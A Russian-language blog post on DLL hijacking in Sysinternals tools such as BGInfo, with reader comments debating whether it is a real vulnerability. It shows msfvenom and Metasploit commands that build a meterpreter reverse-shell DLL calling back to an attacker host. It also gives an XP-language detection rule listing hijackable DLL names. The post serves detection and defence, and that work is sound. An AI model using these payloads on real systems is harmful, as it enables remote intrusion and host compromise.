Продолжаем серию статей - Detection is easy, посвященных Detection engineering (DE), о чем я пишу в одноименном Telegram-канале. Многие администраторы и SOC-аналитики активно используют инструменты из набора SysInternals. Исследователь обнаружил, что большинство этих инструментов уязвимы к загрузке вредоносных DLL в память.

Описание уязвимостей

Уязвимость связана с загрузкой DLL из текущего рабочего каталога (CWD) инструментами Sysinternals. Для эксплуатации необходимо разместить исполняемый файл и вредоносную DLL в одной директории.

Для примера возьмем, BGinfo.exe, в оригинале статьи автор использует TextShaping.dll. Полный список уязвимых утилит доступен по ссылке.

Попытка загрузить TextShaping.dll в текущей рабочей директории (CWD)
Попытка загрузить TextShaping.dll в текущей рабочей директории (CWD)

На скриншоте выше видно, что процесс пытается загрузить TextShaping.dll в текущей рабочей директории.

Для эксперимента, отключаем Defender, включаем msfconsole, генерируем dll следующей командой.

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.10 lport=5555 -f dll > shell.dll

Разместим созданную DLL со скачанным BGInfo в одной папке.

Вредоносная dll и легитимный BGinfo.exe
Вредоносная dll и легитимный BGinfo.exe

На атакующей машине создадим handler для meterpreter.

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lport 5555
set lhost 192.168.0.10
run

Двойным кликом нажимаем на Bginfo64.exe и получаем reverse shell.

Некорректно настроенные права на директории, где хранятся утилиты SysInternals, могут позволить злоумышленнику записать DLL, что может привести к повышению привилегий и компрометации хоста. На скриншоте ниже демонстрация запуска Bginfo из сетевого хранилища WebDAV - эксплуатация уязвимости закончилась успешно.

Пример запуска с WebDAV
Пример запуска с WebDAV

Обнаружение атаки

Логику обнаружения напишем на языке XP.

Будем обнаруживать на основе двух событий: запуск процесса и загрузка библиотеки в память.

event CreateProcess:
    key:
        event_src.host, object.process.id, object.process.path 
    filter {
        filter::NotFromCorrelator()
        and filter::ProcessStart_Windows_any()
        and regex(lower(object.process.meta), "sysinternals", 0) != null
    }

event LoadLibrary:
    key:
        event_src.host, subject.process.id, object.process.path 
    filter {
        filter::NotFromCorrelator()
        msgid == 7 and event_src.title == "sysmon"
        and regex(lower(object.process.fullpath), "^\w:\\windows\\system32", 0) == null
        and in_list(["textshaping.dll", "cryptbase.dll", "mpr.dll", "cryptsp.dll"], lower(object.process.name))
    }

rule ExploitVulnSysinternals: CreateProcess -> LoadLibrary

В первой директиве event CreateProcess добавил условие, что продукт должен быть sysinternals, во второй директиве LoadLibrary - DLL должна быть расположена не в system32, ее название должно быть из списка импортируемых DLL.

Уязвимость DLL Hijacking в инструментах SysInternals представляет серьезную угрозу, так как позволяет злоумышленникам загружать вредоносные библиотеки. В заключение, важно не только понимать механизмы эксплуатации уязвимостей, но и активно внедрять эффективные методы их обнаружения. Регулярный аудит прав доступа к директориям, мониторинг запуска процессов и загрузки библиотек помогут минимизировать риски и повысить уровень защиты инфраструктуры.

Комментарии (6)


  1. Busla
    05.02.2025 10:40

    Уязвимость связана с загрузкой DLL из текущего рабочего каталога (CWD) инструментами Sysinternals. Для эксплуатации необходимо разместить исполняемый файл и вредоносную DLL в одной директории.

    Как раз таки нет. Загрузка dll из каталога ПО — не уязвимость, а нормальная практика. Злоумышленнику проще тогда уж сам .exe подменять, а не .dll.

    Дело именно в текущем каталоге: если вредоносную .dll положить в профиль пользователя, а затем этот пользователь откроет консоль и выполнит c:\Program Files\Sysinternals\bginfo.exe, подхватится вредоносная .dll из профиля.


    1. d3f0x0 Автор
      05.02.2025 10:40

      Как раз таки нет. Загрузка dll из каталога ПО — не уязвимость, а нормальная практика. Злоумышленнику проще тогда уж сам .exe подменять, а не .dll.

      Это нормальная практика, если dll - существует)


      1. Busla
        05.02.2025 10:40

        Вы в само понятие dll вдумайтесь. Концепция dll и придумывалась для уменьшения связности. Подобный подход позволяет как использовать более свежую библиотеку, когда системные библиотеки отстают; так и обеспечить совместимость старого ПО с обновлённой системой. Возможность использования в приложении конкретной несистемной версии библиотеки — это нормально.

        Даже если такой поиск библиотеки — проблема безопасности, это совсем другая история, не про текущий рабочий каталог (CWD).


    1. toxella
      05.02.2025 10:40

      Это нормальная практика, если можно любую чепуху подсовывать? не думаю


      1. Busla
        05.02.2025 10:40

        Любую чепуху — нельзя: должны совпадать интерфейсы. Если админу критично, то ещё и издатель должен быть доверенным.


  1. d3f0x0 Автор
    05.02.2025 10:40

    утилиты пытаются загрузить системные dll (которые расположены в system32) из CWD. как раз таки поиск DLL определен в документации microsoft, а поиск dll сначала в CWD выделена как high уязвимость